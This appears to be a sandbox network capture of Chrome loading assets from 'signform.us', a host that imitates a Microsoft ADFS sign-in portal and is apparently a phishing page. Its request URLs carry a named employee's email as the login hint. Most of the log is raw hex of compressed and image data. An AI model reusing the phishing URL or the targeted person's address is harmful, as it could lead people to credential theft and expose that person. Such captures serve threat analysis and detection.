2024-09-27 06:18:54 UTC	6111	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c f9 77 d3 48 d2 bf ef 7b fb 3f 34 9e 1d 64 7f 13 df 77 12 b3 38 b1 03 81 04 02 b9 60 80 e5 c9 52 db ee 89 2c 09 49 b6 63 98 fc ef 5f 55 b7 ee c3 56 d8 7d fb c3 bc f5 bc 21 76 ab aa ba ee 2e f5 45 0e 9f 8c de 1e 5f 7d bc 18 93 b9 b3 d0 9e fd fd 6f 87 f8 97 68 b2 3e 1b 14 a8 5e be be 2c 40 23 81 cf e1 9c ca aa fb 9d ff 5e 50 47 06 2c c7 2c d3 6f 4b b6 1a 14 3e 94 af 87 e5 63 63 61 ca 0e 9b 68 b4 40 14 43 77 a8 ee 0c 0a a7 e3 01 55 67 b4 50 4d e0 eb f2 82 0e 0a 2b 46 d7 a6 61 39 21 94 35 53 9d f9 40 a5 2b a6 d0 32 ff b1 47 98 ce 1c 26 6b 65 5b 91 35 3a a8 57 6a 7b 64 69 53 8b ff 96 27 d8 94 d2 43 98 43 97 7a d9 d9 98 61 f6 1c 7a ef 54 51 ee 03 65 2e 5b 36 75 06 d7 57 27 e5 5e 81 ec a0 26 2b 73 5a 46 2a 96 a1 85 c8 e9 46 99 Data Ascii: <wH{?4dw8`R,Ic_UV}!v.E_}oh>^,@#^PG,,oK>ccah@CwUgPM+Fa9!5S@+2G&ke[5:Wj{diS'CCzazTQe.[6uW'^&+sZF*F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49770	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:55 UTC	1391	OUT	GET /adfs/portal/css/style.css?id=3B1A0C704CDAE8ECD48AA8F0D50409D981CEF21D7AE6DC85B0797D270101B151 HTTP/1.1 Host: 69cde8a9-b98cbfac.signform.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
2024-09-27 06:18:56 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:56 GMT Content-Type: text/css Content-Length: 2757 Connection: close vary: Accept-Encoding content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:56 UTC	2757	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 1a ed 6e db c8 f1 77 03 e4 1d b6 36 0e b1 53 51 47 7d 5a a6 51 e0 e2 dc 39 49 91 0b 82 24 87 14 68 ef 07 45 ae c4 85 57 5c 1e 49 c5 76 0c 03 fd d3 07 e8 cf a2 ef d0 3e 40 d1 3e 4c 81 02 bd b7 e8 cc 7e 90 bb 22 29 c9 4e 81 4a 88 25 ed cc ce ce ce f7 0c f3 94 dc 3e 7e f4 8b 55 98 2f 59 1a f8 d9 f5 19 fc ca c2 38 66 e9 52 ff bc 7b fc 28 29 57 bc 47 e6 22 be 79 fc 08 d0 09 bc 12 ca 96 49 19 0c 7c ff ab 33 b5 72 c5 e2 32 b1 17 e6 61 74 b9 cc c5 3a 8d bd 48 70 91 07 87 0b f9 d2 60 bd e6 cb 97 5e 5b 88 b4 f4 ae 14 e9 54 e4 ab 90 db 80 45 b8 62 fc 26 38 78 4f 97 82 92 1f 5e 1d 90 1e 51 3f ea 6f 3f bc f2 de d1 e5 9a 87 b9 b7 60 69 c8 0f 7a e4 43 98 88 55 d8 23 2f 29 ff 44 4b 16 c1 d7 67 39 0b e1 46 45 98 16 5e 41 73 66 78 5a b1 d4 Data Ascii: nw6SQG}ZQ9I$hEW\Iv>@>L~")NJ%>~U/Y8fR{()WG"yI\|3r2at:Hp`^[TEb&8xO^Q?o?`izCU#/)DKg9FE^AsfxZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49771	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:55 UTC	1437	OUT	GET /adfs/portal/logo/logo.png?id=ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4 HTTP/1.1 Host: 69cde8a9-b98cbfac.signform.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
2024-09-27 06:18:56 UTC	280	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:56 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close etag: ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4 access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:56 UTC	14820	IN	Data Raw: 33 39 64 63 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 04 00 00 00 23 08 06 00 00 00 72 d6 74 30 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 85 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 28 91 7d 91 3d 48 c3 40 1c c5 5f d3 6a 45 2a 0e 76 50 71 c8 50 9d ec e0 07 e2 58 aa 58 04 0b a5 ad d0 aa 83 c9 a5 ad 85 26 0d 49 8a 8b a3 e0 5a 70 f0 63 b1 ea e0 e2 ac ab 83 ab 20 08 7e 80 b8 ba 38 29 ba 48 89 ff 4b 0a 2d 62 3c 38 ee c7 bb 7b 8f bb 77 80 d0 a8 30 d5 0c c4 00 55 b3 8c 74 22 2e e6 f2 2b 62 f0 15 01 0c a1 1b 51 4c 48 cc d4 93 99 85 2c 3c c7 d7 3d 7c 7c bd 8b f2 2c ef 73 7f 8e 3e a5 60 32 c0 27 12 c7 98 6e 58 c4 eb c4 33 9b 96 ce 79 9f 38 cc 36 24 85 f8 9c 78 dc a0 0b 12 3f 72 5d 76 f9 8d 73 c9 61 81 67 86 8d 6c 7a 8e Data Ascii: 39dcPNGIHDR#rt0gAMAaiCCPICC profile(}=H@_jE*vPqPXX&IZpc ~8)HK-b<8{w0Ut".+bQLH,<=\|\|,s>`2'nX3y86$x?r]vsaglz
2024-09-27 06:18:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49773	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:57 UTC	1453	OUT	GET /adfs/portal/illustration/illustration.png?id=0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970 HTTP/1.1 Host: 69cde8a9-b98cbfac.signform.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
2024-09-27 06:18:57 UTC	280	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:57 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close etag: 0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970 access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:57 UTC	7241	IN	Data Raw: 31 63 34 31 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 8c 00 00 04 38 08 02 00 00 00 25 e1 0f 5b 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 85 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 28 91 7d 91 3d 48 c3 40 1c c5 5f d3 6a 45 2a 0e 76 50 71 c8 50 9d ec e0 07 e2 58 aa 58 04 0b a5 ad d0 aa 83 c9 a5 ad 85 26 0d 49 8a 8b a3 e0 5a 70 f0 63 b1 ea e0 e2 ac ab 83 ab 20 08 7e 80 b8 ba 38 29 ba 48 89 ff 4b 0a 2d 62 3c 38 ee c7 bb 7b 8f bb 77 80 d0 a8 30 d5 0c c4 00 55 b3 8c 74 22 2e e6 f2 2b 62 f0 15 01 0c a1 1b 51 4c 48 cc d4 93 99 85 2c 3c c7 d7 3d 7c 7c bd 8b f2 2c ef 73 7f 8e 3e a5 60 32 c0 27 12 c7 98 6e 58 c4 eb c4 33 9b 96 ce 79 9f 38 cc 36 24 85 f8 9c 78 dc a0 0b 12 3f 72 5d 76 f9 8d 73 c9 61 81 67 86 8d 6c 7a 8e Data Ascii: 1c41PNGIHDR8%[gAMAaiCCPICC profile(}=H@_jE*vPqPXX&IZpc ~8)HK-b<8{w0Ut".+bQLH,<=\|\|,s>`2'nX3y86$x?r]vsaglz
2024-09-27 06:18:57 UTC	16384	IN	Data Raw: 33 66 66 61 0d 0a d6 ce e6 ee 15 7e 59 7b fd 11 73 d7 ed 54 b8 5b e6 c6 eb 65 56 3a ba d1 4b 2f 3f 69 ea 5b 8b 4e 2d 0c 98 a3 1b 5a b5 44 54 17 ce fc 81 7e d7 17 5e fb df e1 d6 4f f0 9d 7a 57 bc c2 78 7a 42 cf b9 3d f6 61 67 16 86 5d 6a 9d 88 70 43 90 b2 6f 07 f2 95 24 76 be d0 86 b9 0c c1 5a 44 40 ed 51 37 cf d9 f8 61 13 2c 68 7e 78 97 97 b5 27 dc e3 d0 44 51 8b 50 30 73 da f1 66 6a 6b 71 a6 c6 34 9f 9b 49 a0 4a d0 e6 05 2f 1e 37 9f 37 68 37 98 88 43 60 3a 48 7d 85 8b 44 cd 5c b0 83 49 20 9c 30 97 f9 ed 2f 7f ee 88 c0 50 28 22 41 20 f7 f2 41 4c 2c 0a 05 e0 cf 13 48 c9 ab 12 58 91 00 1d 93 9c b0 64 a5 1c 60 0b 05 09 91 35 12 83 c9 42 3c 86 d3 38 9c c6 e1 74 92 61 60 11 af 50 3d 47 e5 0e 66 66 12 b5 9f 10 41 48 38 86 5b 58 3c 8a 46 b6 51 c8 54 c2 41 4c 43 Data Ascii: 3ffa~Y{sT[eV:K/?i[N-ZDT~^OzWxzB=ag]jpCo$vZD@Q7a,h~x'DQP0sfjkq4IJ/77h7C`:H}D\I 0/P("A AL,HXd`5B<8ta`P=GffAH8[X<FQTALC
2024-09-27 06:18:58 UTC	16384	IN	Data Raw: 0d 0a 34 30 30 30 0d 0a ed 14 4b 4a 5a f2 42 77 b4 c6 9a 2c 7c 02 3e 8a a7 90 56 42 1a 41 c4 ce 4c ad d3 70 0a 06 fd 48 2e c5 15 bd b7 20 79 51 25 07 8b 4b af ef 72 b7 64 65 72 41 8c 89 72 02 73 85 69 c6 4a f4 58 8f 27 f7 99 de e0 5f 6e 44 3f 61 89 dc b9 97 f0 b8 8b 7f 9b 97 b8 62 1a b9 62 7e cd 11 8a 8b a0 43 4e 5e a8 0d cb 0d ca 6a ae 4c 51 1b d2 cd 4c ea 61 96 88 14 c5 9c b2 91 ab 60 66 d7 5c 28 65 ae 01 70 17 df 75 07 29 2e a2 0f 7b 8a 6c 2c e1 7b b6 02 17 d9 e3 21 64 51 fd ad e3 0a 19 a1 25 89 63 cf 71 5d d1 40 08 df a8 d5 f2 49 f5 8a d1 d8 1a 6f db 1d 74 cb c6 5c 28 05 58 7a 4e e4 6d 52 2b 4e 2c 9c 22 cc cc 09 bd 6e 32 2d 47 5d 74 02 19 02 06 54 99 01 b6 f8 ed 05 3a 8a c9 03 5e 44 4c 62 80 9d 30 0f 44 04 9e 0c 1c 65 22 56 cf d3 6f f9 fc 27 fd fe fb Data Ascii: 4000KJZBw,\|>VBALpH. yQ%KrderArsiJX'_nD?abb~CN^jLQLa`f\(epu).{l,{!dQ%cq]@Iot\(XzNmR+N,"n2-G]tT:^DLb0De"Vo'
2024-09-27 06:18:58 UTC	10	IN	Data Raw: 29 a7 6b 0c 7b 44 db b9 0d 0a Data Ascii: )k{D
2024-09-27 06:18:58 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a bb 40 24 d1 1d 9a aa e3 6c dc 68 77 85 78 d0 fc dd 03 7a a4 fb cc 8f 63 73 cf 3a 59 f3 97 bb 97 c5 54 ac aa 9f a7 09 63 39 94 5d ac c4 8f a7 ea 84 d5 3f 1c 07 6a 89 76 aa 64 a1 7a 26 8a ba 84 53 60 66 49 cc 5b cd 21 ab 46 af ae dc 3c fa b9 57 01 8f 28 fa 0b 96 63 e4 68 17 98 d9 3f e0 61 73 c7 59 c4 39 78 04 a7 bd 51 73 65 3b 1c 94 2e bb 94 1d a9 66 2c 51 92 d3 98 86 81 cd 49 9d 06 ac 54 8a 05 19 a6 69 18 89 48 ac 69 0e ba 3b ad b2 e1 96 a5 18 b2 4a 0e 2d 03 b8 09 7a 5b 8a a5 8f e3 a8 8f 3b cd a9 75 30 71 c9 da 5d 72 34 84 b4 fd 38 21 1d c1 72 22 e9 e0 31 19 c7 39 09 0b 07 1e 11 47 98 1a 8c 67 7e ad 17 78 a1 59 b4 6c d4 0f d4 03 da 61 68 ab 33 0e c5 46 41 99 f6 83 09 d3 88 d6 b4 d8 6e 92 ba 24 55 85 57 06 47 dc ae a5 65 5d d5 35 92 d6 1b Data Ascii: 4000@$lhwxzcs:YTc9]?jvdz&S`fI[!F<W(ch?asY9xQse;.f,QITiHi;J-z[;u0q]r48!r"19Gg~xYlah3FAn$UWGe]5
2024-09-27 06:18:58 UTC	8	IN	Data Raw: 64 86 52 41 5b aa 0d 0a Data Ascii: dRA[
2024-09-27 06:18:58 UTC	9165	IN	Data Raw: 32 33 63 35 0d 0a 71 5e f8 b0 d4 22 21 24 f4 6a 9a 72 c7 f0 eb 5f b8 c3 fc 6d 51 80 bb 49 28 b7 e5 e5 ef 02 aa 78 65 98 f7 65 5d f0 af 5f bf f6 e7 fe 91 1f fe 8b 5c 8d 2c 7d f6 34 8a 04 23 ce 73 43 25 22 a2 ce cb e9 74 aa 3d e0 e9 4a ee d1 9f 94 b8 e2 2f e0 1e 1b 4e 55 13 a4 e0 a7 ba b6 2b 87 4b 79 65 37 bf cb a4 68 99 e2 9d d4 70 17 ad 78 8d b2 71 f5 bf ae f4 87 5b 9c a2 8d bd fb d0 77 fd e5 3d 8d 62 7f 15 f6 c7 d3 bc 9f 6a cd 2b d9 92 01 fe 0e 9f e8 7e 76 74 f5 3d 49 44 0f 9c 4f 71 c1 c5 2e 8b 7d b6 c2 ad 56 87 ba 1b 2a 5d d8 a7 f7 ae 04 c9 2b de b3 27 70 01 1e e8 7d 1e 44 a3 97 e8 a5 fd a1 ee 41 87 bb fc dd 3c 18 6f 13 b4 9e af 81 90 ee 71 7d fb fd c7 f3 40 ba c4 40 d7 90 cb 56 f6 bd 42 1f 06 ef 3e 51 58 e7 f0 9b 9f 56 be 2c d0 ae 14 2e 5c 39 ac d3 2e Data Ascii: 23c5q^"!$jr_mQI(xee]_\,}4#sC%"t=J/NU+Kye7hpxq[w=bj+~vt=IDOq.}V*]+'p}DA<oq}@@VB>QXV,.\9.
2024-09-27 06:18:58 UTC	16384	IN	Data Raw: 33 66 66 39 0d 0a 34 e8 1a 7f 42 7b 90 9c 48 72 db 14 80 a4 26 30 11 51 f3 7c e2 82 84 f3 95 2c 90 63 7a 06 42 74 8e 95 90 f0 0e 5f b2 af e9 4b ac 0b f9 4a de 91 2b a3 96 61 41 e9 3c 5a 58 c0 95 8d 8a fa 9a 0a 86 13 69 a1 f1 73 9c 83 78 e1 ac d9 1a ec 89 9e 55 ec f0 a8 97 63 a6 e4 2b d1 e5 c9 59 f4 61 f6 c7 f5 31 cf ab 7e d1 b2 40 83 e9 0f 7e 4e 26 f1 73 e7 d1 f3 73 bb b2 cd e3 7d 0e a4 5c 7d 3f 4a 44 e9 11 be f4 f3 f9 fe bd ad e7 39 9c 1f 1f a9 3f 3a 75 6e c6 b7 9f a5 de 89 dc ad 99 41 8b c3 b5 b6 8e 10 c9 10 a4 89 b0 dc 64 22 c2 3d 56 31 98 68 ac 41 de 93 21 cc 1d 35 59 66 f7 24 a2 e3 61 22 b8 ac 8f f1 ee db 78 ff bd 60 6d 92 93 70 f0 1a 71 9a 70 d2 f5 7d fe f0 eb 6c 3f 64 e6 e9 fb 5f c7 e9 91 b5 89 b5 55 2d 08 38 bd 65 74 a5 2c 58 06 13 f5 be 52 3f 0b Data Ascii: 3ff94B{Hr&0Q\|,czBt_KJ+aA<ZXisxUc+Ya1~@~N&ss}\}?JD9?:unAd"=V1hA!5Yf$a"x`mpqp}l?d_U-8et,XR?
2024-09-27 06:18:58 UTC	16384	IN	Data Raw: 0a 34 30 30 30 0d 0a ea 84 22 5a 07 96 40 8a 89 8a 18 a5 ac 9b 83 e5 fd c9 d5 26 46 83 a9 8c 60 f7 de e6 68 3d 3c 85 12 7e e3 de c9 20 0e a4 1c 62 78 4d e4 ff 64 18 0b a5 ba 61 30 c5 4c 37 f3 e3 80 83 9a 8b 44 d5 82 15 9b d8 04 11 cf ee d0 c8 ac 0c 21 15 a2 2a ab e1 a4 47 00 5c 1b 5f 07 19 d1 d4 05 e1 12 92 9d 67 ae ab 1a 6b 48 4a 5a 3f d8 9a a4 9d af 9b d1 1e b7 ed 47 41 ea 4d 89 31 e6 d9 58 15 1f 32 c4 56 b6 c9 e2 12 4b 8f 11 cc 19 1b e4 68 90 20 55 f4 e9 72 08 c5 cd 83 ca 19 82 61 f0 99 3b 87 27 3a 9e 67 60 8d dd 1a 12 19 20 1c 09 06 46 84 a6 fa 40 55 12 1e 67 06 3d eb 2d 56 7d 5b 4f 7c 5c 91 7e 73 ff 06 b1 ba 24 af e9 d6 18 24 08 15 88 c0 46 6d 50 c4 cc a0 a5 94 92 9b 5b 67 64 9a 15 00 0d cd 30 60 11 d1 5a 57 f5 0d 6f ee 8f eb 69 a3 0a 05 01 0d 89 a2 Data Ascii: 4000"Z@&F`h=<~ bxMda0L7D!*G\_gkHJZ?GAM1X2VKh Ura;':g` F@Ug=-V}[O\|\~s$$FmP[gd0`ZWoi
2024-09-27 06:18:58 UTC	16384	IN	Data Raw: 5f ff 54 1e 2a 9e 20 0d 0a 34 30 30 30 0d 0a 6b 5c bc ed 6a 30 e1 ee b5 56 77 cf 28 d3 55 48 92 29 60 5b ea c4 05 46 f3 38 df b4 68 b8 20 14 74 80 74 51 5b 4a 55 16 29 81 26 c4 e3 af 7a c2 4e 96 0d e2 a9 08 bf d6 6d cf 4e fd 27 0a 04 2e 70 83 27 16 f2 00 54 28 a4 93 05 74 32 43 f2 56 a9 80 65 47 94 a2 aa 45 a5 04 6a ef 4f 32 20 b9 2b 15 51 65 7a 78 ae fe 0b dc e4 98 a2 37 33 81 cb 42 fd fc 84 9c 79 68 ae 82 f4 ed 57 58 77 db 57 51 28 39 8f 9f 78 1a 34 01 60 1f 01 32 36 1f bb f0 b7 f9 2c 5a 14 4b 62 dd 79 ff f3 d1 fe 0f cf 9a c1 6c 0b 9c eb 97 ec d1 b6 f2 a3 fb b0 ab 47 a2 5c 0b c0 cb 33 9c 86 fc 8f d0 22 5e 9c 93 4f dd 3b 0a 05 9a fd 49 06 b5 68 74 84 0e 51 2b 5b 45 9d e2 fe be be 7d 7b f7 6f bf 51 d6 28 6a d3 c4 da e6 1a 56 f6 87 dd db 63 9d ab 1f a9 06 Data Ascii: _T* 4000k\j0Vw(UH)`[F8h ttQ[JU)&zNmN'.p'T(t2CVeGEjO2 +Qezx73ByhWXwWQ(9x4`26,ZKbylG\3"^O;IhtQ+[E}{oQ(jVc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49774	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:57 UTC	1355	OUT	GET /favicon.ico HTTP/1.1 Host: 69cde8a9-b98cbfac.signform.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
2024-09-27 06:18:57 UTC	273	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 06:18:57 GMT Content-Type: text/html; charset=us-ascii Content-Length: 256 Connection: close vary: Accept-Encoding content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:57 UTC	256	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f cb 4e c3 30 10 45 f7 95 fa 0f 83 f7 c9 14 9a 15 38 96 da c4 a8 91 d2 07 c8 05 75 59 25 06 47 82 38 d8 13 05 fe 1e 27 61 c1 6e ee 3c ce d1 f0 9b fc 98 a9 cb 49 c2 4e ed 4b 38 9d b7 65 91 01 8b 10 5f d7 19 62 ae f2 79 90 c4 ab 5b 44 79 60 cc 10 75 f7 88 c3 30 c4 c3 3a b6 ee 1d d5 33 1a fa fc 48 d0 93 6b 2a 8a 6b aa 99 58 2e f8 78 28 f8 4e 6e 72 c1 55 a1 4a 29 0e 96 e0 d1 f6 6d cd 71 6e 84 ad bd 54 9b e0 50 a7 48 3e 9d 8b 97 94 65 b6 25 dd 52 a4 7e 3a cd e0 2f a5 8c f4 37 4d 9e 07 a8 cc d5 79 4d 69 ef a3 ab af 9a 86 09 8e 93 26 e0 b6 c7 fc 22 b8 b9 fb ef 0a 29 4c 8c 13 bc 13 a3 09 a4 73 d6 41 b2 4a 62 50 46 83 d3 5f bd f6 a4 eb 50 79 db bb 4a 43 e3 a1 0d 80 b7 11 10 73 ec 46 00 ce 6c 9c fe 5a 2e 7e 01 c8 32 24 ab 3b 01 00 Data Ascii: MN0E8uY%G8'an<INK8e_by[Dy`u0:3Hk*kX.x(NnrUJ)mqnTPH>e%R~:/7MyMi&")LsAJbPF_PyJCsFlZ.~2$;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49775	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:57 UTC	565	OUT	GET /adfs/portal/logo/logo.png?id=ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4 HTTP/1.1 Host: 69cde8a9-b98cbfac.signform.us Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
